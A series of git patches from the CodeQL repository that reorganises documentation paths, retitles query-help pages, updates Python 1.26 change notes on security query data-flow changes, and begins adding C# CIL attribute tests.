b/docs/codeql/codeql-language-guides/pointer-analysis-and-type-inference-in-python.rst @@ -228,6 +228,6 @@ Then we can use ``Value.getACall()`` to identify calls to the ``eval`` function, Further reading --------------- -.. include:: ../../reusables/python-further-reading.rst -.. include:: ../../reusables/codeql-ref-tools-further-reading.rst +.. include:: ../reusables/python-further-reading.rst +.. include:: ../reusables/codeql-ref-tools-further-reading.rst diff --git a/docs/codeql/codeql-language-guides/codeql-for-cpp/refining-a-query-to-account-for-edge-cases.rst b/docs/codeql/codeql-language-guides/refining-a-query-to-account-for-edge-cases.rst similarity index 98% rename from docs/codeql/codeql-language-guides/codeql-for-cpp/refining-a-query-to-account-for-edge-cases.rst rename to docs/codeql/codeql-language-guides/refining-a-query-to-account-for-edge-cases.rst index cabefa4388f..d2a6cee326a 100644 --- a/docs/codeql/codeql-language-guides/codeql-for-cpp/refining-a-query-to-account-for-edge-cases.rst +++ b/docs/codeql/codeql-language-guides/refining-a-query-to-account-for-edge-cases.rst @@ -151,5 +151,5 @@ Finally we can simplify the query by using the transitive closure operator. In t Further reading --------------- -.. include:: ../../reusables/cpp-further-reading.rst -.. include:: ../../reusables/codeql-ref-tools-further-reading.rst +.. include:: ../reusables/cpp-further-reading.rst +.. include:: ../reusables/codeql-ref-tools-further-reading.rst diff --git a/docs/codeql/codeql-language-guides/codeql-for-java/types-in-java.rst b/docs/codeql/codeql-language-guides/types-in-java.rst similarity index 99% rename from docs/codeql/codeql-language-guides/codeql-for-java/types-in-java.rst rename to docs/codeql/codeql-language-guides/types-in-java.rst index 515bb2e7080..04cc716b961 100644 --- a/docs/codeql/codeql-language-guides/codeql-for-java/types-in-java.rst +++ b/docs/codeql/codeql-language-guides/types-in-java.rst @@ -301,5 +301,5 @@ Adding these three improvements, our final query becomes: Further reading --------------- -.. include:: ../../reusables/java-further-reading.rst -.. include:: ../../reusables/codeql-ref-tools-further-reading.rst +.. include:: ../reusables/java-further-reading.rst +.. include:: ../reusables/codeql-ref-tools-further-reading.rst diff --git a/docs/codeql/codeql-language-guides/codeql-for-javascript/using-flow-labels-for-precise-data-flow-analysis.rst b/docs/codeql/codeql-language-guides/using-flow-labels-for-precise-data-flow-analysis.rst similarity index 99% rename from docs/codeql/codeql-language-guides/codeql-for-javascript/using-flow-labels-for-precise-data-flow-analysis.rst rename to docs/codeql/codeql-language-guides/using-flow-labels-for-precise-data-flow-analysis.rst index 357b4638805..8bdecad86c3 100644 --- a/docs/codeql/codeql-language-guides/codeql-for-javascript/using-flow-labels-for-precise-data-flow-analysis.rst +++ b/docs/codeql/codeql-language-guides/using-flow-labels-for-precise-data-flow-analysis.rst @@ -403,5 +403,5 @@ Further reading - ":ref:`Exploring data flow with path queries `" -.. include:: ../../reusables/javascript-further-reading.rst -.. include:: ../../reusables/codeql-ref-tools-further-reading.rst +.. include:: ../reusables/javascript-further-reading.rst +.. include:: ../reusables/codeql-ref-tools-further-reading.rst diff --git a/docs/codeql/codeql-language-guides/codeql-for-cpp/using-range-analsis-in-cpp.rst b/docs/codeql/codeql-language-guides/using-range-analsis-in-cpp.rst similarity index 94% rename from docs/codeql/codeql-language-guides/codeql-for-cpp/using-range-analsis-in-cpp.rst rename to docs/codeql/codeql-language-guides/using-range-analsis-in-cpp.rst index e8f8ce156f1..11f1da1259c 100644 --- a/docs/codeql/codeql-language-guides/codeql-for-cpp/using-range-analsis-in-cpp.rst +++ b/docs/codeql/codeql-language-guides/using-range-analsis-in-cpp.rst @@ -47,5 +47,5 @@ This query uses ``upperBound`` to determine whether the result of ``snprintf`` i Further reading --------------- -.. include:: ../../reusables/cpp-further-reading.rst -.. include:: ../../reusables/codeql-ref-tools-further-reading.rst +.. include:: ../reusables/cpp-further-reading.rst +.. include:: ../reusables/codeql-ref-tools-further-reading.rst diff --git a/docs/codeql/codeql-language-guides/codeql-for-cpp/using-the-guards-library-in-cpp.rst b/docs/codeql/codeql-language-guides/using-the-guards-library-in-cpp.rst similarity index 97% rename from docs/codeql/codeql-language-guides/codeql-for-cpp/using-the-guards-library-in-cpp.rst rename to docs/codeql/codeql-language-guides/using-the-guards-library-in-cpp.rst index b3cf98b96c2..250c9dd0c02 100644 --- a/docs/codeql/codeql-language-guides/codeql-for-cpp/using-the-guards-library-in-cpp.rst +++ b/docs/codeql/codeql-language-guides/using-the-guards-library-in-cpp.rst @@ -98,6 +98,6 @@ The ``comparesLt`` predicate Further reading --------------- -.. include:: ../../reusables/cpp-further-reading.rst -.. include:: ../../reusables/codeql-ref-tools-further-reading.rst +.. include:: ../reusables/cpp-further-reading.rst +.. include:: ../reusables/codeql-ref-tools-further-reading.rst diff --git a/docs/codeql/codeql-language-guides/codeql-for-javascript/using-type-tracking-for-api-modeling.rst b/docs/codeql/codeql-language-guides/using-type-tracking-for-api-modeling.rst similarity index 99% rename from docs/codeql/codeql-language-guides/codeql-for-javascript/using-type-tracking-for-api-modeling.rst rename to docs/codeql/codeql-language-guides/using-type-tracking-for-api-modeling.rst index fa52ce3d00b..88ab9536db7 100644 --- a/docs/codeql/codeql-language-guides/codeql-for-javascript/using-type-tracking-for-api-modeling.rst +++ b/docs/codeql/codeql-language-guides/using-type-tracking-for-api-modeling.rst @@ -523,5 +523,5 @@ Type tracking is used in a few places in the standard libraries: Further reading --------------- -.. include:: ../../reusables/javascript-further-reading.rst -.. include:: ../../reusables/codeql-ref-tools-further-reading.rst +.. include:: ../reusables/javascript-further-reading.rst +.. include:: ../reusables/codeql-ref-tools-further-reading.rst diff --git a/docs/codeql/codeql-language-guides/codeql-for-java/working-with-source-locations.rst b/docs/codeql/codeql-language-guides/working-with-source-locations.rst similarity index 98% rename from docs/codeql/codeql-language-guides/codeql-for-java/working-with-source-locations.rst rename to docs/codeql/codeql-language-guides/working-with-source-locations.rst index 7b570ce7d0e..9b55b95df52 100644 --- a/docs/codeql/codeql-language-guides/codeql-for-java/working-with-source-locations.rst +++ b/docs/codeql/codeql-language-guides/working-with-source-locations.rst @@ -188,5 +188,5 @@ Whitespace suggests that the programmer meant to toggle ``i`` between zero and o Further reading --------------- -.. include:: ../../reusables/java-further-reading.rst -.. include:: ../../reusables/codeql-ref-tools-further-reading.rst +.. include:: ../reusables/java-further-reading.rst +.. include:: ../reusables/codeql-ref-tools-further-reading.rst diff --git a/docs/codeql/codeql-language-guides/codeql-for-go/ast.dot b/docs/codeql/images/codeql-for-go/ast.dot similarity index 100% rename from docs/codeql/codeql-language-guides/codeql-for-go/ast.dot rename to docs/codeql/images/codeql-for-go/ast.dot diff --git a/docs/codeql/codeql-language-guides/codeql-for-go/ast.png b/docs/codeql/images/codeql-for-go/ast.png similarity index 100% rename from docs/codeql/codeql-language-guides/codeql-for-go/ast.png rename to docs/codeql/images/codeql-for-go/ast.png diff --git a/docs/codeql/codeql-language-guides/codeql-for-go/cfg.dot b/docs/codeql/images/codeql-for-go/cfg.dot similarity index 100% rename from docs/codeql/codeql-language-guides/codeql-for-go/cfg.dot rename to docs/codeql/images/codeql-for-go/cfg.dot diff --git a/docs/codeql/codeql-language-guides/codeql-for-go/cfg.png b/docs/codeql/images/codeql-for-go/cfg.png similarity index 100% rename from docs/codeql/codeql-language-guides/codeql-for-go/cfg.png rename to docs/codeql/images/codeql-for-go/cfg.png diff --git a/docs/codeql/codeql-language-guides/codeql-for-go/cfg2.dot b/docs/codeql/images/codeql-for-go/cfg2.dot similarity index 100% rename from docs/codeql/codeql-language-guides/codeql-for-go/cfg2.dot rename to docs/codeql/images/codeql-for-go/cfg2.dot diff --git a/docs/codeql/codeql-language-guides/codeql-for-go/cfg2.png b/docs/codeql/images/codeql-for-go/cfg2.png similarity index 100% rename from docs/codeql/codeql-language-guides/codeql-for-go/cfg2.png rename to docs/codeql/images/codeql-for-go/cfg2.png diff --git a/docs/codeql/codeql-language-guides/codeql-for-go/dfg.dot b/docs/codeql/images/codeql-for-go/dfg.dot similarity index 100% rename from docs/codeql/codeql-language-guides/codeql-for-go/dfg.dot rename to docs/codeql/images/codeql-for-go/dfg.dot diff --git a/docs/codeql/codeql-language-guides/codeql-for-go/dfg.png b/docs/codeql/images/codeql-for-go/dfg.png similarity index 100% rename from docs/codeql/codeql-language-guides/codeql-for-go/dfg.png rename to docs/codeql/images/codeql-for-go/dfg.png diff --git a/docs/codeql/codeql-language-guides/codeql-for-go/ssa.dot b/docs/codeql/images/codeql-for-go/ssa.dot similarity index 100% rename from docs/codeql/codeql-language-guides/codeql-for-go/ssa.dot rename to docs/codeql/images/codeql-for-go/ssa.dot diff --git a/docs/codeql/codeql-language-guides/codeql-for-go/ssa.png b/docs/codeql/images/codeql-for-go/ssa.png similarity index 100% rename from docs/codeql/codeql-language-guides/codeql-for-go/ssa.png rename to docs/codeql/images/codeql-for-go/ssa.png diff --git a/docs/codeql/writing-codeql-queries/codeql-queries/about-codeql-queries.rst b/docs/codeql/writing-codeql-queries/about-codeql-queries.rst similarity index 100% rename from docs/codeql/writing-codeql-queries/codeql-queries/about-codeql-queries.rst rename to docs/codeql/writing-codeql-queries/about-codeql-queries.rst diff --git a/docs/codeql/writing-codeql-queries/codeql-queries/about-data-flow-analysis.rst b/docs/codeql/writing-codeql-queries/about-data-flow-analysis.rst similarity index 100% rename from docs/codeql/writing-codeql-queries/codeql-queries/about-data-flow-analysis.rst rename to docs/codeql/writing-codeql-queries/about-data-flow-analysis.rst diff --git a/docs/codeql/writing-codeql-queries/ql-tutorials/catch-the-fire-starter.rst b/docs/codeql/writing-codeql-queries/catch-the-fire-starter.rst similarity index 99% rename from docs/codeql/writing-codeql-queries/ql-tutorials/catch-the-fire-starter.rst rename to docs/codeql/writing-codeql-queries/catch-the-fire-starter.rst index 0f40ba87a9a..60840e8bc9f 100644 --- a/docs/codeql/writing-codeql-queries/ql-tutorials/catch-the-fire-starter.rst +++ b/docs/codeql/writing-codeql-queries/catch-the-fire-starter.rst @@ -149,4 +149,4 @@ You have found the two fire starters! They are arrested and the villagers are on Further reading --------------- -.. include:: ../../reusables/codeql-ref-tools-further-reading.rst +.. include:: ../reusables/codeql-ref-tools-further-reading.rst diff --git a/docs/codeql/writing-codeql-queries/codeql-queries/index.rst b/docs/codeql/writing-codeql-queries/codeql-queries.rst similarity index 100% rename from docs/codeql/writing-codeql-queries/codeql-queries/index.rst rename to docs/codeql/writing-codeql-queries/codeql-queries.rst diff --git a/docs/codeql/writing-codeql-queries/codeql-queries/creating-path-queries.rst b/docs/codeql/writing-codeql-queries/creating-path-queries.rst similarity index 100% rename from docs/codeql/writing-codeql-queries/codeql-queries/creating-path-queries.rst rename to docs/codeql/writing-codeql-queries/creating-path-queries.rst diff --git a/docs/codeql/writing-codeql-queries/ql-tutorials/cross-the-river.rst b/docs/codeql/writing-codeql-queries/cross-the-river.rst similarity index 99% rename from docs/codeql/writing-codeql-queries/ql-tutorials/cross-the-river.rst rename to docs/codeql/writing-codeql-queries/cross-the-river.rst index 0a69ff852cf..31d2913f590 100644 --- a/docs/codeql/writing-codeql-queries/ql-tutorials/cross-the-river.rst +++ b/docs/codeql/writing-codeql-queries/cross-the-river.rst @@ -269,4 +269,4 @@ Here are some more example queries that solve the river crossing puzzle: Further reading --------------- -.. include:: ../../reusables/codeql-ref-tools-further-reading.rst +.. include:: ../reusables/codeql-ref-tools-further-reading.rst diff --git a/docs/codeql/writing-codeql-queries/ql-tutorials/crown-the-rightful-heir.rst b/docs/codeql/writing-codeql-queries/crown-the-rightful-heir.rst similarity index 99% rename from docs/codeql/writing-codeql-queries/ql-tutorials/crown-the-rightful-heir.rst rename to docs/codeql/writing-codeql-queries/crown-the-rightful-heir.rst index 9e987d7635d..a9a8ace0775 100644 --- a/docs/codeql/writing-codeql-queries/ql-tutorials/crown-the-rightful-heir.rst +++ b/docs/codeql/writing-codeql-queries/crown-the-rightful-heir.rst @@ -163,4 +163,4 @@ You could also try writing more of your own QL queries to find interesting facts Further reading --------------- -.. include:: ../../reusables/codeql-ref-tools-further-reading.rst +.. include:: ../reusables/codeql-ref-tools-further-reading.rst diff --git a/docs/codeql/writing-codeql-queries/codeql-queries/defining-the-results-of-a-query.rst b/docs/codeql/writing-codeql-queries/defining-the-results-of-a-query.rst similarity index 97% rename from docs/codeql/writing-codeql-queries/codeql-queries/defining-the-results-of-a-query.rst rename to docs/codeql/writing-codeql-queries/defining-the-results-of-a-query.rst index 347bb66576d..9b17b257ac9 100644 --- a/docs/codeql/writing-codeql-queries/codeql-queries/defining-the-results-of-a-query.rst +++ b/docs/codeql/writing-codeql-queries/defining-the-results-of-a-query.rst @@ -53,7 +53,7 @@ This basic select statement has two columns: #. Element to display the alert on: ``f`` corresponds to ``File``. #. String message to display: ``"This file is similar to another file."`` -.. image:: ../../images/ql-select-statement-basic.png +.. image:: ../images/ql-select-statement-basic.png :alt: Results of basic select statement :class: border @@ -69,7 +69,7 @@ The alert message defined by the basic select statement is constant and doesn't #. Element: ``f`` as before. #. String message: ``"This file is similar to "``—the string text is combined with the file name for the ``other``, similar file, returned by ``getBaseName()``. -.. image:: ../../images/ql-select-statement-filename.png +.. image:: ../images/ql-select-statement-filename.png :alt: Results of extended select statement :class: border @@ -104,7 +104,7 @@ You could go further and change the ``select`` statement to report on the simila The new elements added here don't need to be clickable, so we added them directly to the description string. -.. image:: ../../images/ql-select-statement-similarity.png +.. image:: ../images/ql-select-statement-similarity.png :alt: Results showing the extent of similarity :class: border diff --git a/docs/codeql/writing-codeql-queries/ql-tutorials/find-the-thief.rst b/docs/codeql/writing-codeql-queries/find-the-thief.rst similarity index 99% rename from docs/codeql/writing-codeql-queries/ql-tutorials/find-the-thief.rst rename to docs/codeql/writing-codeql-queries/find-the-thief.rst index c4ae5679ce1..d49406f90ca 100644 --- a/docs/codeql/writing-codeql-queries/ql-tutorials/find-the-thief.rst +++ b/docs/codeql/writing-codeql-queries/find-the-thief.rst @@ -294,4 +294,4 @@ Have you found the thief? Further reading --------------- -.. include:: ../../reusables/codeql-ref-tools-further-reading.rst +.. include:: ../reusables/codeql-ref-tools-further-reading.rst diff --git a/docs/codeql/writing-codeql-queries/index.rst b/docs/codeql/writing-codeql-queries/index.rst index f2aea92c4e5..2e6c8752ef0 100644 --- a/docs/codeql/writing-codeql-queries/index.rst +++ b/docs/codeql/writing-codeql-queries/index.rst @@ -12,5 +12,5 @@ Get to know more about queries and learn some key query-writing skills by solvin .. toctree:: :hidden: - ql-tutorials/index - codeql-queries/index + ql-tutorials + codeql-queries diff --git a/docs/codeql/writing-codeql-queries/ql-tutorials/introduction-to-ql.rst b/docs/codeql/writing-codeql-queries/introduction-to-ql.rst similarity index 100% rename from docs/codeql/writing-codeql-queries/ql-tutorials/introduction-to-ql.rst rename to docs/codeql/writing-codeql-queries/introduction-to-ql.rst diff --git a/docs/codeql/writing-codeql-queries/codeql-queries/metadata-for-codeql-queries.rst b/docs/codeql/writing-codeql-queries/metadata-for-codeql-queries.rst similarity index 99% rename from docs/codeql/writing-codeql-queries/codeql-queries/metadata-for-codeql-queries.rst rename to docs/codeql/writing-codeql-queries/metadata-for-codeql-queries.rst index fc00f63216a..60a0dde85ad 100644 --- a/docs/codeql/writing-codeql-queries/codeql-queries/metadata-for-codeql-queries.rst +++ b/docs/codeql/writing-codeql-queries/metadata-for-codeql-queries.rst @@ -62,6 +62,6 @@ Here is the metadata for one of the standard Java queries: |image0| -.. |image0| image:: ../../images/query-metadata.png +.. |image0| image:: ../images/query-metadata.png For more examples of query metadata, see the standard CodeQL queries in our `GitHub repository `__. diff --git a/docs/codeql/writing-codeql-queries/codeql-queries/providing-locations-in-codeql-queries.rst b/docs/codeql/writing-codeql-queries/providing-locations-in-codeql-queries.rst similarity index 100% rename from docs/codeql/writing-codeql-queries/codeql-queries/providing-locations-in-codeql-queries.rst rename to docs/codeql/writing-codeql-queries/providing-locations-in-codeql-queries.rst diff --git a/docs/codeql/writing-codeql-queries/ql-tutorials/index.rst b/docs/codeql/writing-codeql-queries/ql-tutorials.rst similarity index 100% rename from docs/codeql/writing-codeql-queries/ql-tutorials/index.rst rename to docs/codeql/writing-codeql-queries/ql-tutorials.rst diff --git a/docs/codeql/writing-codeql-queries/codeql-queries/query-help-files.rst b/docs/codeql/writing-codeql-queries/query-help-files.rst similarity index 100% rename from docs/codeql/writing-codeql-queries/codeql-queries/query-help-files.rst rename to docs/codeql/writing-codeql-queries/query-help-files.rst diff --git a/docs/codeql/writing-codeql-queries/ql-tutorials/river-crossing-1.ql b/docs/codeql/writing-codeql-queries/river-crossing-1.ql similarity index 100% rename from docs/codeql/writing-codeql-queries/ql-tutorials/river-crossing-1.ql rename to docs/codeql/writing-codeql-queries/river-crossing-1.ql diff --git a/docs/codeql/writing-codeql-queries/ql-tutorials/river-crossing.ql b/docs/codeql/writing-codeql-queries/river-crossing.ql similarity index 100% rename from docs/codeql/writing-codeql-queries/ql-tutorials/river-crossing.ql rename to docs/codeql/writing-codeql-queries/river-crossing.ql diff --git a/docs/codeql/writing-codeql-queries/codeql-queries/troubleshooting-query-performance.rst b/docs/codeql/writing-codeql-queries/troubleshooting-query-performance.rst similarity index 99% rename from docs/codeql/writing-codeql-queries/codeql-queries/troubleshooting-query-performance.rst rename to docs/codeql/writing-codeql-queries/troubleshooting-query-performance.rst index ebe0d24d876..9444677917c 100644 --- a/docs/codeql/writing-codeql-queries/codeql-queries/troubleshooting-query-performance.rst +++ b/docs/codeql/writing-codeql-queries/troubleshooting-query-performance.rst @@ -153,4 +153,4 @@ Now the structure we want is clearer. We've separated out the easy part into its Further reading --------------- -.. include:: ../../reusables/codeql-ref-tools-further-reading.rst +.. include:: ../reusables/codeql-ref-tools-further-reading.rst From f7fe7c03b8b65d63bc40158bcd832985f6ac63e5 Mon Sep 17 00:00:00 2001 From: James Fletcher <42464962+jf205@users.noreply.github.com> Date: Tue, 1 Dec 2020 13:42:53 +0000 Subject: [PATCH 0117/1241] Apply suggestions from code review Co-authored-by: Shati Patel <42641846+shati-patel@users.noreply.github.com> --- docs/codeql/conf.py | 2 +- docs/codeql/query-help/conf.py | 4 ++-- docs/codeql/query-help/go.rst | 4 ++-- docs/codeql/query-help/index.rst | 6 +++--- docs/codeql/reusables/query-help-overview.rst | 4 ++-- 5 files changed, 10 insertions(+), 10 deletions(-) diff --git a/docs/codeql/conf.py b/docs/codeql/conf.py index 769de274fe2..52b142a97b4 100644 --- a/docs/codeql/conf.py +++ b/docs/codeql/conf.py @@ -110,4 +110,4 @@ templates_path = ['_templates'] html_static_path = ['_static'] exclude_patterns = ['vale*', '_static', '_templates', 'reusables', 'images', 'support', 'ql-training', 'query-help','_build', '*.py*', 'README.rst'] -############################################################################## \ No newline at end of file +############################################################################## diff --git a/docs/codeql/query-help/conf.py b/docs/codeql/query-help/conf.py index 276daf50aab..8a03e305c32 100644 --- a/docs/codeql/query-help/conf.py +++ b/docs/codeql/query-help/conf.py @@ -30,7 +30,7 @@ source_suffix = { '.md': 'markdown', } -# -- Project-specifc options for HTML output ---------------------------------------------- +# -- Project-specific options for HTML output ---------------------------------------------- # Theme options are theme-specific and customize the look and feel of a theme # further. For a list of options available for each theme, see the @@ -57,4 +57,4 @@ html_static_path = ['../_static'] # List of patterns, relative to source directory, that match files and # directories to ignore when looking for source files. -exclude_patterns = ['toc-*'] # ignore toc-.rst files as they are 'included' in index pages \ No newline at end of file +exclude_patterns = ['toc-*'] # ignore toc-.rst files as they are 'included' in index pages diff --git a/docs/codeql/query-help/go.rst b/docs/codeql/query-help/go.rst index 5b2c3293698..30a52f40ff4 100644 --- a/docs/codeql/query-help/go.rst +++ b/docs/codeql/query-help/go.rst @@ -3,6 +3,6 @@ Go query help .. include:: ../reusables/query-help-overview.rst -For shorter queries that you can use as building blocks when writing your own queries, see the `example queries in the CodeQL repository `__. +For shorter queries that you can use as building blocks when writing your own queries, see the `example queries in the CodeQL for Go repository `__. -.. include:: toc-go.rst \ No newline at end of file +.. include:: toc-go.rst diff --git a/docs/codeql/query-help/index.rst b/docs/codeql/query-help/index.rst index 52112b5d073..e31c5a3357b 100644 --- a/docs/codeql/query-help/index.rst +++ b/docs/codeql/query-help/index.rst @@ -7,8 +7,8 @@ Each query help article includes: - A summary of key metadata for the query. - Information about which query suites the query is included in. -- A link to the query in the `CodeQL repository `__ -- Help information to explain what potential vulnerability the query identifies and a recommendation for how to avoid introducing the problem to your code. +- A link to the query in the `CodeQL repository `__. +- A description of the potential vulnerability that the query identifies and a recommendation for how to avoid introducing the problem to your code. .. toctree:: :titlesonly: @@ -19,4 +19,4 @@ Each query help article includes: java javascript python - \ No newline at end of file + diff --git a/docs/codeql/reusables/query-help-overview.rst b/docs/codeql/reusables/query-help-overview.rst index 76d0d56b993..52bc65fef5b 100644 --- a/docs/codeql/reusables/query-help-overview.rst +++ b/docs/codeql/reusables/query-help-overview.rst @@ -1,5 +1,5 @@ Visit the articles below to see the documentation for the queries included in the following query suites: -- ``code-scanning``: queries run by default in code scanning. +- ``code-scanning``: queries run by default in CodeQL code scanning on GitHub. - ``security-extended``: queries from ``code-scanning``, plus extra security queries with slightly lower precision and severity. -- ``security-and-quality``: queries from ``code-scanning``, ``security-and-quality``, plus extra maintainability and reliability queries. \ No newline at end of file +- ``security-and-quality``: queries from ``code-scanning``, ``security-extended``, plus extra maintainability and reliability queries. From 65a048b65c96b7c63878d1bf66102e5df17cf1fa Mon Sep 17 00:00:00 2001 From: james Date: Tue, 1 Dec 2020 14:19:12 +0000 Subject: [PATCH 0118/1241] address docs review comments --- .../workflows/generate-query-help-docs.yml | 2 +- docs/codeql/query-help/conf.py | 2 +- docs/codeql/query-help/cpp.rst | 4 ++-- docs/codeql/query-help/csharp.rst | 4 ++-- docs/codeql/query-help/go.rst | 4 ++-- docs/codeql/query-help/index.rst | 23 ++++++++++++++----- docs/codeql/query-help/java.rst | 4 ++-- docs/codeql/query-help/javascript.rst | 4 ++-- docs/codeql/query-help/python.rst | 4 ++-- .../query-help/{readme.txt => readme.md} | 0 10 files changed, 31 insertions(+), 20 deletions(-) rename docs/codeql/query-help/{readme.txt => readme.md} (100%) diff --git a/.github/workflows/generate-query-help-docs.yml b/.github/workflows/generate-query-help-docs.yml index f9ccace89e7..c66a607e427 100644 --- a/.github/workflows/generate-query-help-docs.yml +++ b/.github/workflows/generate-query-help-docs.yml @@ -47,7 +47,7 @@ jobs: with: docs-folder: "query-help/" pre-build-command: "python -m pip install --upgrade recommonmark" - build-command: "sphinx-build -b html . _build" + build-command: "sphinx-build -b dirhtml . _build" - name: Upload HTML artifacts uses: actions/upload-artifact@v2 with: diff --git a/docs/codeql/query-help/conf.py b/docs/codeql/query-help/conf.py index 8a03e305c32..d3530956d95 100644 --- a/docs/codeql/query-help/conf.py +++ b/docs/codeql/query-help/conf.py @@ -57,4 +57,4 @@ html_static_path = ['../_static'] # List of patterns, relative to source directory, that match files and # directories to ignore when looking for source files. -exclude_patterns = ['toc-*'] # ignore toc-.rst files as they are 'included' in index pages +exclude_patterns = ['toc-*', 'readme.md'] # ignore toc-.rst files as they are 'included' in index pages diff --git a/docs/codeql/query-help/cpp.rst b/docs/codeql/query-help/cpp.rst index 55dcd64ecd7..7c3cbe304d7 100644 --- a/docs/codeql/query-help/cpp.rst +++ b/docs/codeql/query-help/cpp.rst @@ -1,5 +1,5 @@ -C and C++ query help -===================== +CodeQL query help for C and C++ +=============================== .. include:: ../reusables/query-help-overview.rst diff --git a/docs/codeql/query-help/csharp.rst b/docs/codeql/query-help/csharp.rst index 04849628d80..9c5c6351ce3 100644 --- a/docs/codeql/query-help/csharp.rst +++ b/docs/codeql/query-help/csharp.rst @@ -1,5 +1,5 @@ -C# query help -============= +CodeQL query help for C# +======================== .. include:: ../reusables/query-help-overview.rst diff --git a/docs/codeql/query-help/go.rst b/docs/codeql/query-help/go.rst index 30a52f40ff4..e81d759f807 100644 --- a/docs/codeql/query-help/go.rst +++ b/docs/codeql/query-help/go.rst @@ -1,5 +1,5 @@ -Go query help -============= +CodeQL query help for Go +======================== .. include:: ../reusables/query-help-overview.rst diff --git a/docs/codeql/query-help/index.rst b/docs/codeql/query-help/index.rst index e31c5a3357b..5c523650d70 100644 --- a/docs/codeql/query-help/index.rst +++ b/docs/codeql/query-help/index.rst @@ -3,16 +3,27 @@ CodeQL query help View the query help for the queries included in the ``code-scanning``, ``security-extended``, and ``security-and-quality`` query suites for the languages supported by CodeQL. -Each query help article includes: +- :doc:`CodeQL query help for C and C++ ` +- :doc:`CodeQL query help for C# ` +- :doc:`CodeQL query help for Go ` +- :doc:`CodeQL query help for Java ` +- :doc:`CodeQL query help for JavaScript ` +- :doc:`CodeQL query help for Python ` -- A summary of key metadata for the query. -- Information about which query suites the query is included in. -- A link to the query in the `CodeQL repository `__. -- A description of the potential vulnerability that the query identifies and a recommendation for how to avoid introducing the problem to your code. + +.. pull-quote:: Information + + Each query help article includes: + + - A summary of key metadata for the query. + - Information about which query suites the query is included in. + - A link to the query in the `CodeQL repository `__. + - A description of the potential vulnerability that the query identifies and a recommendation for how to avoid introducing the problem to your code. .. toctree:: + :hidden: :titlesonly: - + cpp csharp go diff --git a/docs/codeql/query-help/java.rst b/docs/codeql/query-help/java.rst index 315a902249a..cf370538999 100644 --- a/docs/codeql/query-help/java.rst +++ b/docs/codeql/query-help/java.rst @@ -1,5 +1,5 @@ -Java query help -=============== +CodeQL query help for Java query +================================ .. include:: ../reusables/query-help-overview.rst diff --git a/docs/codeql/query-help/javascript.rst b/docs/codeql/query-help/javascript.rst index 0aa50f940e0..d7cf6797852 100644 --- a/docs/codeql/query-help/javascript.rst +++ b/docs/codeql/query-help/javascript.rst @@ -1,5 +1,5 @@ -JavaScript query help -===================== +CodeQL query help for JavaScript +================================ .. include:: ../reusables/query-help-overview.rst diff --git a/docs/codeql/query-help/python.rst b/docs/codeql/query-help/python.rst index a28c8e8d385..da68c1caa9b 100644 --- a/docs/codeql/query-help/python.rst +++ b/docs/codeql/query-help/python.rst @@ -1,5 +1,5 @@ -Python query help -================= +CodeQL query help for Python +============================ .. include:: ../reusables/query-help-overview.rst diff --git a/docs/codeql/query-help/readme.txt b/docs/codeql/query-help/readme.md similarity index 100% rename from docs/codeql/query-help/readme.txt rename to docs/codeql/query-help/readme.md From d08b25c65c103497d92590793dcebcbe5b0eccc6 Mon Sep 17 00:00:00 2001 From: Taus Brock-Nannestad Date: Wed, 2 Dec 2020 14:01:46 +0100 Subject: [PATCH 0119/1241] Python: Update change notes for 1.26 --- change-notes/1.26/analysis-python.md | 35 ++++++++++++++++++++-------- 1 file changed, 25 insertions(+), 10 deletions(-) diff --git a/change-notes/1.26/analysis-python.md b/change-notes/1.26/analysis-python.md index f60eb6b4354..0c6cbeaacfa 100644 --- a/change-notes/1.26/analysis-python.md +++ b/change-notes/1.26/analysis-python.md @@ -4,19 +4,34 @@ The following changes in version 1.26 affect Python analysis in all applications ## General improvements - -## New queries - -| **Query** | **Tags** | **Purpose** | -|-----------------------------|-----------|--------------------------------------------------------------------| - - ## Changes to existing queries | **Query** | **Expected impact** | **Change** | |----------------------------|------------------------|------------------------------------------------------------------| - - +|`py/unsafe-deserialization` | Different results. | The underlying data flow library has been changed. See below for more details. | +|`py/path-injection` | Different results. | The underlying data flow library has been changed. See below for more details. | +|`py/command-line-injection` | Different results. | The underlying data flow library has been changed. See below for more details. | +|`py/reflective-xss` | Different results. | The underlying data flow library has been changed. See below for more details. | +|`py/sql-injection` | Different results. | The underlying data flow library has been changed. See below for more details. | +|`py/code-injection` | Different results. | The underlying data flow library has been changed. See below for more details. | ## Changes to libraries - +* Some of the security queries now use the shared data flow library for data flow and taint tracking. This has resulted in an overall more robust and accurate analysis. The libraries mentioned below have been modelled in this new framework. Other libraries (e.g. the web framework `CherryPy`) have not been modelled yet, and this may lead to a temporary loss of results for these frameworks. +* Improved modelling of the following serialization libraries: + - `PyYAML` + - `dill` + - `pickle` + - `marshal` +* Improved modelling of the following web frameworks: + - `Django` (Note that modelling of class-based response handlers is currently incomplete.) + - `Flask` +* Support for Werkzeug `MultiDict`. +* Support for the [Python Database API Specification v2.0 (PEP-249)](https://www.python.org/dev/peps/pep-0249/), including the following libraries: + - `MySQLdb` + - `mysql-connector-python` + - `django.db` +* Improved modelling of the following command execution libraries: + - `Fabric` + - `Invoke` +* Improved modelling of security-related standard library modules, such as `os`, `popen2`, `platform`, and `base64`. +* The original versions of the updated queries have been preserved [here](https://github.com/github/codeql/tree/main/python/ql/src/experimental/Security-old-dataflow). * Added taint tracking support for string formatting through f-strings. From 636ff2d76ef79cf8cb40a6ac17bc2ba111631ee6 Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Wed, 2 Dec 2020 09:10:46 +0100 Subject: [PATCH 0120/1241] C#: Add CIL attribute tests --- .../test/library-tests/cil/attributes/Test.cs | 7 + .../cil/attributes/attribute.expected | 2614 +++++++++++++++++ .../library-tests/cil/attributes/attribute.ql | 32 + 3 files changed, 2653 insertions(+) create mode 100644 csharp/ql/test/library-tests/cil/attributes/Test.cs create mode 100644 csharp/ql/test/library-tests/cil/attributes/attribute.expected create mode 100644 csharp/ql/test/library-tests/cil/attributes/attribute.ql diff --git a/csharp/ql/test/library-tests/cil/attributes/Test.cs b/csharp/ql/test/library-tests/cil/attributes/Test.cs new file mode 100644 index 00000000000..c72cfe0b0b3 --- /dev/null +++ b/csharp/ql/test/library-tests/cil/attributes/Test.cs @@ -0,0 +1,7 @@ +// semmle-extractor-options: --cil + +using System; + +class Test +{ +} \ No newline at end of file diff --git a/csharp/ql/test/library-tests/cil/attributes/attribute.expected b/csharp/ql/test/library-tests/cil/attributes/attribute.expected new file mode 100644 index 00000000000..e0087bc92ee --- /dev/null +++ b/csharp/ql/test/library-tests/cil/attributes/attribute.expected @@ -0,0 +1,2614 @@ 